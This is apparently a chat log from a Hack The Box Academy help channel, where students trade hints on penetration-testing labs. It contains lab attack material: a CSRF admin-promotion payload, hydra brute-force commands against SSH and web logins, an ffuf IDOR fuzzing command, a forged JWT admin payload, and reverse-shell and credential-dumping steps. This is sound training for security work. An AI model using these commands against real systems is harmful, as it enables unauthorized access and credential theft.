tbh I checked readme.md now, but didnt see anything about resolvers.txt. Also it is full of ip addresses in github repo, idk why. I really dont understand point of it.

[shut vapor]

Ok, you're right. It mentions using "open resolvers" to avoid rate limiting. resolvers.txt contains a list of DNS resolvers to use.
https://github.com/TheRook/subbrute

Do you have an additional question?

[agile token]

ohhh alr, I get it now.

[agile token]

no, thanks for help, there is no other question about subbrute.

[blissful elm]

some modules have ez ans

[fathom pendant]

A lot of the sqlmap ones are easy

[clever lotus]

greetings, can someone give me a hint for footprinting medium challange. i found creds for username with letter a, and password for ssms sa user. it seems that user with letter a dont have access to database. i found another user with litter d but i dont know its password. so i enumerate both shares and successfully rdp connection but what did i miss and where to look at it?

[fathom pendant]

Perhaps the sa password is reused

[clever lotus]

i dont belive it haha, thanks

[oak girder]

I have a question as to why this is relevant to batman.

[clever lotus]

now i can stop hydra at 10k combinations

[fathom pendant]

Maybe he just likes superheroes

There's generally not a lot of rhyme/reason to the chosen passwords

[oak girder]

Haha, thanks, but with over 9 w of data, ssh would be down under normal circumstances!

[fathom pendant]

Don't attack ssh 😉

[oak girder]

No, I read in other information, is SSH hit, Ftp is able to carry on blasting?

[sacred laurel]

how do you guys send images tho? it dont let me do that

[oak girder]

Sorry I kinda forgot, you need to be tied to an account to send photos it seems!

[sacred laurel]

Oh okay, thanks partner. let me do that

[fathom pendant]

Read and follow #welcome

[fathom pendant]

Delete the images bc spoilers

But ssh is slow af; attack a different port from ssh is what I meant

But the point is you can bruteforce a different service; the question doesn't state you have to attack ssh

Just to bruteforce his pw, then log in with ssh

I also suggest saving any username:password combos you find

[oak girder]

Okay, I'll try.

[fathom pendant]

And with some other services you can use as many as 48 threads

[sacred laurel]

File inclusion inclusion automated scanning, page doens't give any paramters or anything other than just a plain ip address but when we fuzz it it adds index.php. where is it coming from? I mean why did we add index.php and not something else

like x.x.x.x:1010 this is the page and there's no button or link no nothing but we gonna ffuf it and url is being x.x.x.x:1010/index.php?FUZZ=value

i know it's a dummy question but i didn't get it

[oak girder]

Can you try to use another dictionary? Or make sure the syntax of the command is not wrong, if I remember correctly you could try using the view

[sacred laurel]

Yeah I was able find the view and it's value. what i didn't understand is. where index.php is coming from because seems like we added it out of nowhere

[oak girder]

index.php is the default page, don't bother with that!

[sacred laurel]

oh okay lol, thanks a lot!

[oak girder]

refueling

Is my current thinking correct?

I don't seem to have any luck with the official account password I was given, I haven't done the hash yet.

[dim wolf]

you can loop over usernames instead of passwords for a more effective brute force

[marsh fulcrum]

Did you get it? Im having the same problem, nothing is running on port 8888

[ashen dagger]

Can anyone give me a nudge?: AD Enumeration & Attacks - Skills Assessment Part II - [Q 7] "Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host".
I'm trynig impacket-mssqlclient

[mellow holly]

once you login with mssqlclient. will need to get crackin with xp_cmdshell and move some tools that can help you

i used nc to get a "cleaner" shell to work through it

nc.exe

[fathom pendant]

many ways to crack an egg

[mellow holly]

dont get hung up on one way for priv esc, if you having troubles, use the next one

[mellow holly]

haha

[fathom pendant]

but there are tools referred to by having a certain SE...Privilege

they don't explicitly tell you how to use those tools in the module though

[mellow holly]

yea, which i think was a miss on their part.

but RTFM, haha

the tools are not that bad, but can be intimidating imo if new new to it

[fathom pendant]

they're well enough documented

[fathom pendant]

just threw it at /feedback

[mellow holly]

ok. will do later

[ashen dagger]

thanks bro

[daring birch]

I'm doing the footprinting medium lab. I've RDP'd in. Logged into SQL query... and can't figure out the query to get HTB pass... I feel like I'm so close yet the accounts populates nothing.. I feel like I have the priviledges and am looking in the right area... but idk

[fathom pendant]

well if you're using the GUI app; just click around otherwise google enumeration stuff with SQL

[daring birch]

mission click around initiated

[fathom pendant]

you can also run a query from within the GUI fwiw, but if you don't know SQL queries -- just click around

[daring birch]

I mean I know em' enough. There has to be some trick or something

SELECT * from dbo.accounts just shows me columns

even do select count(*) from dbo.accounts; and shows 0

[fathom pendant]

Maybe you're looking in the wrong places

[fathom pendant]

Or maybe you're misunderstanding

Do you mean it shows you the columns with info?

Perhaps you can look where you need to be

[daring birch]

I hate everyone

i got it lol so stupid

basically they put decoy account tables

[fathom pendant]

Not really

[daring birch]

precisely

[fathom pendant]

Iirc that's just a default table

[daring birch]

you're a default table

[fathom pendant]

Rude

Go calm down elliot

[daring birch]

I can't believe how long that took me

I hate sql and the family it came from

[fathom pendant]

Mssql is a mess

Mysql/MariaDB is much cleaner

Most enum commands work the same/similar though

[daring birch]

yeah, I've used mysql much more. I definitely learned somethings tho

side note, how can I get vim to let me copy paste

pasta why's it no work

[fathom pendant]

https://monovm.com/blog/how-to-copy-cut-paste-in-vim/

Google my friend or even vim-tutorial

[daring birch]

ty ❤️ i'm braindead atm that was exhausting

I'll check back on that later

[lean cloak]

Hey all, I have what is hopefully a quick question about module 54 section 485 (Directory Fuzzing). I've looked around in this server and on google, and I really just can't get a straight answer... where do you find the results of running ffuf? Seems so stupid obvious but I'm just not seeing anything

[cloud urchin]

Are you getting spammed with stuff back?

[normal sand]

Module: AD Enumeration & Attacks
Section: Credentialed Enumeration - from Linux
I don't recall when we identified the user svc_qualys as a domain admin. I do recall obtaining this user's password using LLMNR/NBT-NS poisoning in this section, but that's it. Anyone got any idea?

[cloud urchin]

it pretty much tells you in the paragraph, you need to obtain creds from memory

what tools can get credentials from memory or impersonate people?

[normal sand]

No, that's referring to the enumeration we performed above this paragraph. But it's saying that we've previously identified the account as a domain admin.

[normal sand]

The tool I used to perform the LLMNR/NBT-NS poisoning earlier to obtain that user's credentials was Inveigh.

[cloud urchin]

so that's what it's referring to then?

[normal sand]

So, what they're saying is that if I go back and run net localgroup on that account in the section where we compromised it, it'll say that the account is a domain admin?

[cloud urchin]

no, net localgroup will only return the local group members to you

[normal sand]

How do I check if a user's a domain admin then? Cuz it hasn't specified so far in the module.

[round moat]

Guys help me
What is the account's cleartext password?
This is of IPMI of Footprinting
How to extract clear text password for this

[cloud urchin]

You can use /domain. like this net group "Domain Admins" /domain

[normal sand]

Do I replace /domain with the name of the domain? For example, /inlanefreight.local?

[cloud urchin]

no.

[normal sand]

I'll give it a go.

[round moat]

help me

[cloud urchin]

i believe you can use net group /domain /domain:dc1.otherdomain.com, but i'm not sure

[lean cloak]

going to DM if that's okay; this channel doesn't seem to like the message I'm trying to send haha

[cloud urchin]

ok

[round moat]

guys help me with this

[cloud urchin]

Doesn't the module go over it? You can crack stuff with various tools

Do you have the hash?

[round moat]

yeah

can I talk to in DM?

[normal sand]

Thanks, this worked. It returned the members of the domain admin group. I'm guessing I can run this command as pretty much any domain user?

Also, how do I check the groups the user I'm currently logged in as belongs to?

[cloud urchin]

whoami /groups

[normal sand]

Can any user run this command?

[autumn pilot]

try and see

[normal sand]

I'm assuming yes since the user I'm logged in as, htb-student, is not a domain admin.

[cloud urchin]

you can check with the earlier command

it shows all of the group members

[normal sand]

Yeah, I got it shows all domain admins members, was just wondering if a regular domain user can run the command

net group "Domain Admins" /domain

[cloud urchin]

by default sure

[normal sand]

Okay, so unless restricted, then yes. Thanks

[cloud urchin]

sleep time for me 💤

[normal sand]

Goodnight 😴

[placid edge]

domain just restricts the ldap query to domain, you can also use localgroup and stuff like that to get information about local users and groups

[normal sand]

Noted. Thanks!

[placid edge]

idk how right i am about it using ldap queries. Might be wrong there, but essentially the /domain looks for users and groups in the domain account rather than the local account. I had issues before where the /domain flag was the only thing i was missing to find my next step

so actually a small thing like that can be quite important

[normal sand]

The only thing you were missing was /domain? But if you just run net group by itself then nothing shows.

[placid edge]

try doing net group /domain

[normal sand]

It lists all domain groups on the domain controller.

[placid edge]

yeah

[normal sand]

Ahh you meant you were tryna list domain groups and you couldn't.

[normal sand]

Thanks for sharing.

[placid edge]

for that

Apparently NET GROUP /DOMAIN will list/search perform operations on domain groups with GLOBAL scope.
NET LOCALGROUP /DOMAIN does this only for domain groups of DOMAIN LOCAL scope. 

[placid edge]

more like i was trying to see what groups a user account was member off, but i coulnt find the user, and i forgot it was a domain user and i forgot the /domain

[rustic sage]

hi where's the channel for me getting help about metasploit payloads?

[placid edge]

is it apart of a academy module or ?

[rustic sage]

nope

just metasploit payloads in general

do you know any community that talks about it?

[potent imp]

👋

[candid lily]

Doing "Misc CSRF Exploitation", the exploit works locally but when i deliver im not getting promoted

||```html
<!DOCTYPE html>
<html>
<body>
<script>
document.location = "http:///vulnerablesite.htb:49579/admin.php?user=htb-stdnt%26promote=htb-stdnt";
</script>
</body>
</html>

[storm elk]

Maybe a slash too many after the http?

And you should read more carefully.

[candid lily]

oooh

but how it works fine on my browser

[storm elk]

It mentions in the module when sending the exploit to the admin you need to remove the port.

[candid lily]

i have been using the port in previous sections

[storm elk]

Try it out without it

[candid lily]

it was the slash i got it now

[storm elk]

Awesome

[candid lily]

tysm i cant believe im blind enough to miss it

[storm elk]

Haha I know how that feels

Or you write vulnerabel in your payload. I had that

[long flint]

Has anyone done the skill assessment for the new Attacking Authentication Mechanisms?

So far I have created my own keys, used the python script provided earlier in the course with an edited payload, but it doesn't work.

this is what I have ||jwt_payload = {'user': 'htb-stdnt', 'accountType': 'admin', 'id':1234, 'iat':1718780382}||

I also tried different types of attacks from the course, bit unsure what direction is the right one lol

[long flint]

hmm running out of ideas, i also tried jwt tools

[midnight galleon]

academy target spawning problem?

Attacking SAM in passwords attacks not spawning for me

[past kite]

Hey gays, I can’t open resources from DOCUMENTATION & REPORTING, could you help me?

[minor sonnet]

Hello Everyone , please if anyone finished Unconstrained Delegation - Computers dm me

[blissful elm]

https://tenor.com/view/skull-fall-skeleton-disappointed-gif-15613679342612459378

[next bronze]

just ask your question bud

[blissful elm]

waiting for machine to spawn

htb server becoming buggyday by day

[vague sage]

im doing the service authentication brute forcing (login brute forcing/basic toolset)

i follow the steps from the previous module (personalized worlists)
generate both passwords and users

and i execute the sed scripts for the generated password txt file (william.txt)

i try to brute force but im not getting anything

i tried both hydra -l b.gates -P williams.txt -u -f ssh://<IP given> -t 4

and hydra -L bill.txt -P williams.txt -u -f ssh://<IP given> -t 4

bill.txt being the user list

not sure what im doing wrong

[vague sage]

sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt # remove no special chars
sed -ri '/[0-9]+/!d' william.txt            # remove no numbers```

[hexed lintel]

can anyone help me on this

using top-usernames-shortlist didnt give answer
seclist's top 10 million usernames wordlist is running forever
tired the username from gitlab repo commit history, didn't work

[storm elk]

Perhaps mention which module and section, just posting a screenshot and asking for help is just lazy

[hexed lintel]

module Attacking common application
section attacking gitlab

[storm elk]

I haven't done that module yet, sorry 🙂

[hexed lintel]

got it, had to use wordlist provided in pwnbox

[olive slate]

On 'Using CrackMapExec' - 'Basic SMB Reconnaissance' final question "What's the OS version?". Can anybody who's done this give some hint of what structure they want? I got the OS version from running cme but can't get it to accept my answer

[next bronze]

try the whole string?

[olive slate]

I tried the whole string "Windows 10 / xxxxxx xxxx xxxxx xxxxx xxx", did not work

[next bronze]

without /

probably got changed since it was written

[olive slate]

Huh, tried without the /, still incorrect

[next bronze]

use the format under the SMB Enumeration header

[olive slate]

Got it. Turns out using cme on my own kali vm spits out slightly different output. Tried the pwnbox and got the right format

[minor sonnet]

i am stuck on this question " + 5 Compromise the Domain and read the content of \DC01\C$\Unconstrained\flag.txt " , i already get the DC ticket , and i am able to make dcsync attack , but i can't find any privileged used , i check all of the 19 available users no one on the Domain Admin gorup

[next bronze]

did you try the administrator user

[long flint]

hi guys, has anyone completed the skill assessment for attacking authentication mechanisms? i'm starting to feel like its bugged... lol

[limber river]

if you are able to perform DCSync you will get the hash of administrator

[minor sonnet]

i did it thank you

[kind turret]

It's not. Try smarter.

[long flint]

hmm does my payload look correct? || {
"user": "htb-stdnt",
"accountType": "admin",
"id": 1234,
"iat": 1718795303
}||

[kind turret]

If it does not get you the flag then you know it's not correct

[normal sand]

I'm on the AD Enumeration & Attacks module. What do they mean by nested group membership? Reference

[next bronze]

a group inside a group inside a group

https://tenor.com/view/matrioska-loop-bored-tired-russian-gif-7433508

[rustic sage]

Groupception

[blissful elm]

@next bronze which vpn u use

[next bronze]

I'd recommend first doing the AD enum & attacks module if you haven't, that will give you the basics for the kerberos module

[next bronze]

huh?

[next bronze]

light mode

doesn't matter as long as they have decent speed and US/EU exit

[rustic sage]

🕶️

[normal sand]

Is my message being deleted for some reason? 😅

[autumn pilot]

please limit screenshots of text contents of modules that are above tier 0

[rustic sage]

sure did

[normal sand]

Oh, alrighty, sorry.

[next bronze]

is that not just a random example

either way there's not really a recursive search, it will just show you the first degree groups, this is where bloodhound comes in

[normal sand]

So if we had user joe inside the "IT execs" group, which was inside another group "IT dept", which was inside the "Domain Admins" group, then he wouldn't show under a basic enumeration of domain admins, we'd have to perform a recursive enumeration to show privileged users?

[normal sand]

My example was random, but the screenshot was from the module, and the two were in a message, so it got deleted.

[normal sand]

So Windapsearch's -PU option isn't recursive?

[next bronze]

  -PU, --privileged-users
                        Enumerate All privileged AD Users. Performs recursive
                        lookups for nested members.

[normal sand]

So... it is recursive?

[normal sand]

What did you mean by this then?

[next bronze]

yes but only for --privileged-users

[normal sand]

Gotcha

@next bronze do you mind if I ask what tool you use for note-taking (like for you cheatsheet when you learn from modules I mean). Is it Obsidian for this as well?

[shut wing]

can someone tell me how to gain permission to send messages in channels T_T

[normal sand]

#welcome

[next bronze]

yeah I use obsidian for everything, expect for the final report

[shut wing]

aight thanks

[normal sand]

Mind if I ask what structure you use? Do you sort your notes by technique/methodology or what? I'm worried my current method/structure may not be scalable and I'm looking to hear from people who've completed the path and the structure they use to organize their notes, basically people who've done a lot of modules and studied a bunch.

[next bronze]

I folders for each OS/web/services then branch into the specific techniques etc

[normal sand]

So active directory has it's own folder?

[next bronze]

but that doesn't matter as much, I use a plugin which lets me search through my entire vault and get what I need in a few seconds

#cpts message

[normal sand]

How would you organize say, for example, commands from tools like crackmapexec and smbmap, there are some commands that overlap in the Active directory portion and the SMB service portion. Do you just repeat the command or link it in some sort of way?

Let's take a simple example, maybe you wanna enumerate shares, you find yourself doing it as part of your AD methodology and your SMB enumeration, the command is basically the same.

[next bronze]

big tools like nxc/impacket/powerview gets its own notes, then it will get cross linked if a technique/attack uses it. but I find that takes too much time and is nowhere as effective as just headings search

[next bronze]

I just headings search smb tbh, it will bring me to the sections relevant to smb

[normal sand]

So if you're reading your method, you just mention what heading to search for and then look for that?

[normal sand]

Btw how do you access your notes, for example, if you're at work? How do you host/sync it?

[next bronze]

this

[next bronze]

I have obsidian sync

[normal sand]

Alrighty, thanks for sharing.

[little drum]

Can someone help me with file uploads skill assessment, I've tried so many things. If anyone has completed it please do lemme know of any tips or suggestions

[vague sage]

got it

[near abyss]

Hi, i am on gold annual subscription and have a question. the modules i complete on the academy for example the 28 module for CPTS, when my subscription ends. Do i will still have access to the completed modules or the whole modules will be locked again ?

[fathom pendant]

btw your comment for the second sed instruction is wrong; it's removing all words from the list that don't have special characters, same with the third one, -- remove all that don't have numbers

[fathom pendant]

if you 100% completed the module, you retain access

[vague sage]

thats what the module gave

either way
i deleted those txt files and repeated it again from the beginning
and i got it

[fathom pendant]

well the commands are right

your comments about what they do are not

[vague sage]

oh

meh dont matter

im hacker now

dang this module is also fun

[true finch]

Hi all, I'm stuck on broken authentication via parameter modifications exercise. I've tried ffuf, intruder using custom number lists. I think there may be an issue with my ffuf syntax. Can I have some assistance?

[storm elk]

Post your syntax here 🙂

[grand loom]

Send syntax

[true finch]

ffuf -w ./id.txt -u http://94.237.54.176:37750/admin.php -X GET -H "Content-Type: text/html; charset=UTF-8" -b "PHPSESSID=rs1l95p4uki48gk59ou027024v" -d "user_id=FUZZ" -fr "Could not load admin data. Please check your privileges."

[grand loom]

Put :FUZZ after word list

[storm elk]

that won't make much different since there is only one

[fathom pendant]

Not necessary with only one list

[grand loom]

Ooo didn't know that thought u need to indentify it with smtg

[fathom pendant]

Only with multiple lists

[grand loom]

Is -X for post?

[fathom pendant]

The method should be post though yeah

[storm elk]

Drop the -X GET -H ... and look closely to the content

and make sure that the IP is still up

[true finch]

Okay, trying those

[storm elk]

It's a get request so it needs to be part of the url

[fathom pendant]

If it's meant to be get, then yeah

Post uses data

[storm elk]

I just tried it with correct command and it should work

I just killed my exercise by opening this haha😆

[storm elk]

let us know how it went 😄

[fathom pendant]

Gains in knowledge and muscle

[storm elk]

yeah

doing MODERN WEB EXPLOITATION TECHNIQUES - Second order - IDOR (whitebox)

[limber river]

it worth the price ?

[storm elk]

I like it

so yes, for me it is worth it

[limber river]

nice

[true finch]

Got it! Thanks all

[storm elk]

good job!!

[chilly ermine]

Hello

Can you help me plsss

[next bronze]

real jo mama?

@haughty stirrup

[fathom pendant]

We aren't hacking anything for you, or recovering accounts. Reach out to the relevant support for the product you're locked out of

[haughty stirrup]

😭

[chilly ermine]

Aaa shit then i just want to stop pedophile i just want to be bat man

[haughty stirrup]

We can’t help Jomama

Go let a radioactive spider bite u then

[fathom pendant]

Contact police

[chilly ermine]

I did and they didn't answer me

[fathom pendant]

We aren't a hacker for hire server. Read #rules

[chilly ermine]

Cool cool thanks anyway

[storm elk]

Only if it's legal.

[vague sage]

bro thinks hes Ryan Montgomery

[fathom pendant]

Still follow #rules

[storm elk]

agreed

[mighty crown]

how did you get over here if yoouve not read the # rules

[chilly ermine]

I just want stop them because 30-75 years old pedophile on klepetalnica123 eh guys have a good one bye

[storm elk]

Same reason I keep asking myself how people can be stupid enough to ask questions about their exam while it clearly states to not do it and doing so might result in termination of your exam 😄

[mighty crown]

😅 😂

[elder matrix]

is it normal in Firewall and IDS/IPS Evasion - Easy Lab i got like 50 alerts without even scanning once?

[fathom pendant]

Yeah. That happens sometimes

[elder matrix]

ill just reset the machine.. lol

[fathom pendant]

It's 100 to trigger the ids I think

And most stuff won't trigger more than a couple alerts

[elder matrix]

yeah... i want to trigger as lesss as possible!

trying out parameter combos! its fun

[fathom pendant]

Try that on the hard lab instead of easy

[elder matrix]

well, i have to go through easy first..

[fathom pendant]

Well get through them all first before worrying about optimization

[vague sage]

on Skill Assessment - Website
"Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside? "
i have this admin login page
/admin_login.php
i execute
hydra -l user -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -f 83.136.253.89 -s 52898 http-post-form "/admin_login.php:username=^USER^%password=^PASS^:F=<form name='login'"

got a password but its wrong

[elder matrix]

right.. get the flags for now... good idea!

[fathom pendant]

Are those thr right parameters for the log in form?

Also you're jumping all over the place, are you doing the cpts path? Or just doing as you want

[vague sage]

ye its <ip given>/admin_login.php

[vague sage]

oh no im still in the same path

log in brute forcing

basic toolset

[fathom pendant]

Ah ok

[vague sage]

i succesfully brute forced the first log in page
user:password

using the ftp-betterdefaultpasslist.txt

[fathom pendant]

Is the username and password parameters correct as well as the fail string

[vague sage]

then used it on the /admin_login.php page
it gave me root:root
was wrong and on the question,its hint, was that i have to use the preivous user
which was user

[vague sage]

uhh i did this

[fathom pendant]

Check page source

[vague sage]

alr

i tried using burp but not sure what i was looking

or what to look at

[fathom pendant]

What parameters are getting passed for username and password

Reread the section regarding determining login parameters

[vague sage]

ye give me a sec

alr uhh on the page source im not sure where to look at

ye i got lost a bit

[fathom pendant]

Form name

[ashen eagle]

How can I exploit windows 7 eternal blue over wan I have a router

[fathom pendant]

Take it slow, repeat the steps from that section

[vague sage]

spoiler dont check || <form name='log-in' autocomplete='off' class='form' action='' method='post'> ||

[fathom pendant]

#homelab-sysadm read and follow #welcome to access

[fathom pendant]

Well there's why you got the false positive

[vague sage]

why

[fathom pendant]

Check your fail string

[vague sage]

OH

[sacred laurel]

@fathom pendant out of curiosity, are you working for htb lol

[vague sage]

log-in not login

[fathom pendant]

No

[sacred laurel]

wow then i do really appreciate for your service and commitment

[vague sage]

yes

[fathom pendant]

I enjoy hanging out and losing braincells

[vague sage]

why losing

[fathom pendant]

Truly a mystery

[vague sage]

only winning

[sacred laurel]

htb should hire you for real

[fathom pendant]

Anyway the determining parameters section tells you how to determine the username and password variables that get passed to the backend

[vague sage]

not a spoiler anymore

might take a while because of the list

imma use the shorter ones

[fathom pendant]

I would use a more common list

[vague sage]

hm lemme check on Common-Credentials

[fathom pendant]

Also your parameters are still incorrect

[vague sage]

whaa

i changed the form name

or it isnt just that

[fathom pendant]

"/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:F=<form name='login'" is the base form

Fail string != parameter

[vague sage]

oh those are parameters

[fathom pendant]

Yes

Parameters are what gets passed through

The fail string is just what hydra checks

[vague sage]

oh i see

but what do i change to what

wait lemme check again rq

[fathom pendant]

You can either use page source or send a test test username/password to intercept/use browser tools to catch

[vague sage]

ye
found it

[fathom pendant]

Spoiler you goon

[vague sage]

oh shit

[fathom pendant]

Also spoiler

[fathom pendant]

And...

Anyway

[vague sage]

ye ill change em in a bit

[fathom pendant]

Once you break in, the info on page is actually useful for the next assessment

[vague sage]

i need to find the correct list though

[vague sage]

oh alright ill keep that in mind

[fathom pendant]

Common should work

[vague sage]

any?

its taking a while thats why im saying

[fathom pendant]

Ah also rockyou should work as well

It shouldn't take that long

Don't forget to use more threads

[vague sage]

alright

[vague sage]

oh btw this
when and why do i use this
i wanna take a note of it

[fathom pendant]

It's the basic http post format

[vague sage]

alright alright
imma note it as that

[fathom pendant]

You need to adjust to each situation

[vague sage]

so like whenever there is a brute force attack on an http - /login.php
page we use that?

[fathom pendant]

On a post login yes

[vague sage]

oh alright makes sense

is this only for hydra? or used by other tools as well?

[fathom pendant]

Well hydra uses it idk what other tools syntax are as they aren't covered

[vague sage]

hm alright

alright next module

wait how do i gain info on him
OSINT?lmao
i only know his full name

imma just use what i have

[vague sage]

oh shit

[elder matrix]

in Firewall and IDS/IPS Evasion - Medium Lab, i found the answer. however, it seems to me that|| the answer is not a "DNS server version"..its a flag!||. Is this intended?

[vague sage]

ye
doesnt it mention flags on your task?

[tranquil wren]

https://academy.hackthebox.com/module/110/section/1086 Having a bit of trouble finding the flag.txt, i; 've ran spider and AJAX and active scan, found the high vuln but do not see a directory with flag.txt. Anyone available to help?

[open summit]

anyone know how to fix this? - cant start my pwnbox

[storm elk]

Try clearing cookies or a different server

[open summit]

it was malwarebytes extension on my chrome

[storm elk]

Oooh

[tiny stone]

Yo guys! I'm currently doing 'setting up' module in Information Security Foundations. Here are lot of terms, which I don't understand. External, internal pentest. VPS, some linux stuff and etc.. Should I research it all while reading or is this just an example and I'm gonna see all the definitons in other models?

[storm elk]

Research it

[winged depot]

Hi guys, i have a small issue with practical exercises. If i start PWNBOX and initiate the target, i do not have connection between them. Do you have some advice for me? Thanks

[storm elk]

What module, what section and what exactly are you trying?

[winged depot]

Module: WINDOWS FUNDAMENTALS, each practical section with tasks. I start pwnbox and target, but I don´t have ping to the target. I am trying it third day in row. I only have one attempt per day.

[coarse lichen]

Hello, I'm on the "Attacking Enterprise Networks" Module and on the "Web Enumeration & Exploitation" section.
I'm trying to replicate the steps presented for ||the dev.inlanefreight.local VHOST, by adding the header found previously
but instead of retrieving the web page as seen on the module I get 408 Request Timeout Response.||
I have already tried to reset the environment multiple times but I always get the same result.
Does anyone encountered this problem ?

[next bronze]

did you try to just connect via rdp instead of pinging?

[winged depot]

Oh, it works. Thanks 😉

[blissful elm]

1 attempt only?

[winged depot]

With pwnbox, but I am working now in Wmware.

[blissful elm]

daam u really took 3 min to type that

[pseudo kiln]

has anyone been able to do the Optional exercises in the Password Attacks module ?

they give you access to LINUX1, but you are supposed to start proxychains on MSO1 and I cannot seem to be able to connect to that machien from either LINUX1 or attack box

ah nvm I got it, but I will prob have to start bulding network topologies from now xD

[young zenith]

im having some trouble on the web attacks skills assessment. If anyones around and could DM me to nudge me in the right direction, it would be greatly appreciated.

[keen cloak]

Hi, I am going over the HTB Academy tasks, A question: Why is the VPN connection for the target server often lost, or the target server not respond?

Eg. the Session Hijacking of XSS

[coarse lichen]

I also tried from the Pwnbox but it did not bear any fruits.

[blissful elm]

sometimes these network problem is ok but it happen so regularly nowadaysthat 3 hr of work takes 6+hr

[keen cloak]

For some module, the network issues makes following the tasks mission impossible

[blissful elm]

true true

[true finch]

Can I have a nudge on broken auth skills assessment? I'm not sure where to go with this 2FA OTP

[lunar agate]

hey I'm doing Footprinting module of CPTS path and I'm stuck at DNS

The last question of this section is:
Q)What is the FQDN of the host where the last octet ends with "x.x.x.203"?
Ans)
dnsenum --dnsserver 10.129.104.176 --enum -p 0 -s 0 -o <output file name> -f <path of password list>- -threads 90 dev.inlanefreight.htb

but I'm very confused how to get "dev" subdomain

anybody ?

@blissful verge ?

[wary plover]

Try to run it with a different wordlist (like one from seclists)

[lime pendant]

is there a pinned document to look at for getting started?

for when you don't know what you don't know but don't want to ask chat gpt right away?

[lunar agate]

like I m not getting on which domain I have to use different wordlists

[wary plover]

Idk which i did but try the dev subdomain and then the root

[lunar agate]

Its frustating

[wary plover]

It's a seclists wordlists that i know

[fathom pendant]

Subdomains of subdomains

You get the initial subdomain via a proper enum

If you do a regular dig axfr you'll get a list, then there's a fierce wordlist you use against it

[fathom pendant]

Google

Research

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[lime pendant]

thank you! gonna do some studying with web resources, ttyl!

[midnight galleon]

hi there
in the Password Attacks Credential Hunting in Linux
is it possible to to land on the box without the info from the hint? I find it kinda frustrating that you actually need to use the hint

[fathom pendant]

Lots of time bruteforcing and waiting for the user list and wordlist to line up

Iirc the first box (sam) is linux so you can check /home/

The windows labs and linux labs in this module are all interconnected

So it can save some time to check C:/Users and /home/ to make a shorter list

The only ones not connected are the skill assessment labs

[shut wraith]

Hello I have a question

If a box is recommended in module 10 does that mean that it is recommended based off the assumption that you did all 10 modules or just the single module # 10

[midnight galleon]

the thing is that the hint itself is wrong

the username is unnecessarily mutated

so you can literaly fall in a rabbit hall cuz u used the hint

[fathom pendant]

? The password is mutated not the username

Also they give you a Name, not username

The name can be lowercased since linux

[fathom pendant]

Module 10? Bro just say the module name, but no

Also module recommendation just means that the retired boxes suggested have what you just learned in some form. But it doesn't mean you can just pwn it with no effort

For instance, footprinting links to all retired boxes since footprinting is the first step

[midnight galleon]

yeah sure but still kinda frustrating 🙂

[shut wraith]

Okay thanks

Im gonna do the recommended boxes in the CBBH before doing the exam

I think it wil ltake me at least 2 months ?

[fathom pendant]

I wouldn't recommend that tbh

The goal of boxes and the goal of web app testing don't really align

I suggest just reviewing the modules, and going to portswigger for what you still don't understand

[shut wraith]

Okay. BTw did you attempt the CBBH?

[fathom pendant]

No

[shut wraith]

So how do u know what is good preperation

[fathom pendant]

Because other people have said what's good prep

And again the goal of a box is to root it

That's not the goal of the exam

[shut wraith]

But I thought the CBBH exam was a set of web apps that you have to root & find all the vulnerabilities for

[dim wolf]

does it say that anywhere?

[fathom pendant]

#cwes message

But anyway, cbbh is about doing bug bounty activities

And rooting machines is not a bb activity

[shut wraith]

This is the info available:
The candidate will have to perform bug bounty hunting activities against multiple real-world applications hosted in HTB’s infrastructure and accessible via VPN (using Pwnbox or their own local VM). Upon starting the examination process, a letter of engagement will be provided that will clearly state all engagement details, requirements, objectives, and scope. All a candidate needs to perform the required bug bounty hunting activities is a stable internet connection and VPN software. HTB Certified Bug Bounty Hunter certification is the most practical certification for Bug Bounty Hunters that focuses on both bug hunting and professionally communicating findings.

So:
The candidate will have to perform bug bounty hunting activities against multiple real-world applications hosted in HTB’s infrastructure and accessible via VPN
Means what I said which is to attack a set of web apps.

[fathom pendant]

You said "to root" you don't have to root a web app to find a vulnerability

[split glade]

Marcielee is talking about the privilege escalation part, once you get a RCE as bug bounty hunter you're done. I indeed just noticed that there are no privesc modules in the CBBH path

[surreal lichen]

Anyone got a good guide or video on how to crack the ntds.dit file for the skills assessment for Cracking Passwords with Hashcat?

[fathom pendant]

The password attacks module has an NTDS.dit section

https://bond-o.medium.com/extracting-and-cracking-ntds-dit-2b266214f277

You need to extract the hashes first

[solar zodiac]

anyone for a nudge on the 2nd question of the DACL attacks II skills assessment?

I've found the attack path but am missing one part of it

[blissful elm]

fun part is i have to first rdp to linux and from there i had to rdp to windows with this network

[tepid horizon]

May I know the correct answer for below question? I entered ip address of discovered hosts(e.g 172.16.1.15) or number of discovered hosts(e.g. 2), but not showing the correct.... Question is so vague.... I wonder who created this question...

Module name: Intro to C2 Operations with Sliver
Module: https://academy.hackthebox.com/module/241/section/2693

Question: Enter the numerical value of the machines that can be accessed via the Administrator's hash

[solar zodiac]

I think the intended path is to spray with cme and see what you can access

unfortunately, for me, nxc doesnt handle 0/24 CIDR ranges well

crackmapexec gave me the right answer though

iirc

[tepid horizon]

Already did and found ips. But submitting discovered host will not be correct answer. So I wonder what is the question about

[solar zodiac]

hmm strange... I don't remember exactly what I did tbh

I think it is implying RCE

[next bronze]

manually enumerate scriptPath

[solar zodiac]

ah can I msg you with a question 🙂 ?

[next bronze]

sure

[wooden perch]

Hi HTB'ers, totally lost on Pivoting, Tunneling, and Port Forwarding module Skills Assessment. I'm 5 hours in, stepping back to breathe and ask for help.

steps up to this point:
1- access webshell on pivot machine
1.1- got mlefay and webadmin credentials
2- for loop, found machine 172.16.5.35
3- msfvenom > create reverse shell payload
3.1- uploaded to webshell machine && execute
3.2- setup autoroute on msfconsole
3.3- redirect route from 172.16.5.35 to localport:3700
3.4- configure proxychains
4- xfreerdp to 172.16.5.35 using proxychains
4.1- LSASS dump, got vfrank credential
4.2- stuck here

(Only missing to find the 2 last questions)

[fathom pendant]

there is another machine

iirc

@rustic sage since there's too many cooks in the kitchen, i'm going to help you here

since the other people don't know wtf they're talking about to have you move forward

and are honestly just adding unneeded stress

[rustic sage]

yep

[fathom pendant]

also asking for help in #general is a minefield

[rustic sage]

so where would the person hide his ssh keys

[fathom pendant]

well

